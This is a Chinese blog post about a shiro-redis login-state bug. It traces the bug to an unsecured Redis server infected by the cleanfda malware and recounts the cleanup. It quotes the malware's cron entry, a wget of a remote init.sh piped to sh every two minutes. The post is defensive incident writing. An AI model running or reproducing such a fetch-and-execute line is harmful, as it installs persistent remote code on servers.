记一次shiro-redis无法记住登录状态的bug

背景:项目使用shiro-redis管理登录状态,项目上线后,用户经常抱怨APP需要反复登录。
排查问题:项目中session的过期时间都是负数,也就是永不过期。这就很奇怪了。登录服务器查看redis缓存:

127.0.0.1:6379> keys shiro*

1) "shiro:session:1da60618-accf-404a-b426-a765b66aaa24"
2) "shiro:session:68b437d4-89e0-407c-98d8-2063a236cc39"
3) "shiro:session:fa10aca2-6715-43f5-acda-833420be3104"
4) "shiro:session:15df980b-d050-4739-afb2-562cd5a6d55a"
5) "shiro:session:d6121e42-658b-4033-a03d-ecd110bf7cb2"

127.0.0.1:6379> ttl shiro:session:d6121e42-658b-4033-a03d-ecd110bf7cb2
(integer) -1

缓存确实没有过期时间,但再次查看:

127.0.0.1:6379> keys shiro*

1) "shiro:session:1da60618-accf-404a-b426-a765b66aaa24"
2) "shiro:session:68b437d4-89e0-407c-98d8-2063a236cc39"

少了很多数据!

跳过排查过程,直接上结论吧:redis未设置最大内存,内存不足,触发了清理程序!
查看最大内存:

127.0.0.1:6379> config get maxmemory
1) "maxmemory"
2) "0"

解决方法:设置最大内存,在redis.conf中修改:

maxmemory 200M

问题似乎解决了,缓存键值达到300多个,而且重复查看不再减少。后续情况,有待观察。

306) "shiro:session:b5ddcb96-95dc-484c-95d5-c23df3eed07d"
307) "shiro:session:316c7708-4809-4ced-a4e3-afd90f28a8cc"
308) "shiro:session:ffdc27b6-bb3a-4d1e-aa85-96643d29c927"
309) "shiro:session:e5846833-fed4-483b-863b-3d68282f3bcf"
310) "shiro:session:8256ae36-79ad-4851-825b-8997ed314002"
311) "shiro:session:1d6825bb-cce2-4440-8706-5bb598b097c7"
312) "shiro:session:18099c33-ad1d-4704-b263-8c8d472496da"
313) "shiro:session:00d3fa95-43d5-4c28-aed5-cc4d59d0c31a"
314) "shiro:session:57126755-dabb-440d-8f6c-b536e3e29acf"
315) "shiro:session:d4f1a339-d29f-496a-b986-2bc69ade65e6"
316) "shiro:session:e982af81-2844-4737-a193-40474e971f36"
317) "shiro:session:1da60618-accf-404a-b426-a765b66aaa24"
318) "shiro:session:68b437d4-89e0-407c-98d8-2063a236cc39"
319) "shiro:session:fa10aca2-6715-43f5-acda-833420be3104"
320) "shiro:session:15df980b-d050-4739-afb2-562cd5a6d55a"
321) "shiro:session:d6121e42-658b-4033-a03d-ecd110bf7cb2"

————————我是分割线——————————————
果然事情没那么简单!事实证明,redis缓存超预期快速失效的原因是中毒了!执行:

keys *

发现很多"backup1","backup2"的文件。而且邮件系统提示我收到一封邮件——肯定不是招商银行信用卡的账单啦(黑一波招行信用卡,外包出去一个保险业务,三天两头打电话给我推保险,吐了,原以为这电话还算官方,也就没处理它,投诉了几波无果,直接拉黑了)。
查看邮件:

cat 邮件地址

(也可以用其他工具,我心急,没工夫去装了)
发现一溜下来几十封内容一模一样的邮件(内容是瀑布流一样显示的),提示我有一个定时任务没有执行权限,定时任务大概长这样(被我清了):

*/2 * * * * wget http://xxx.xxx.xxx.xxx/cleanfda/init.sh | sh

百度了一下cleanfda,好家伙:
cleanfda
结果很明显了嘛!
然后就杀毒呗。没有任何杀毒软件,纯靠手删。先删了定时任务,在/etc/下有一溜cron文件夹和文件,这是linux的定时任务文件。其他文件夹都是空的,只有crontab是个文件,且内容就是上面邮件里的那些东西,就是它了!
基本没什么问题了。然后我又找了一波backup,在/目录下发现两个文件夹,删了。之后把防火墙拉起给redis设置密码——这是关键!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值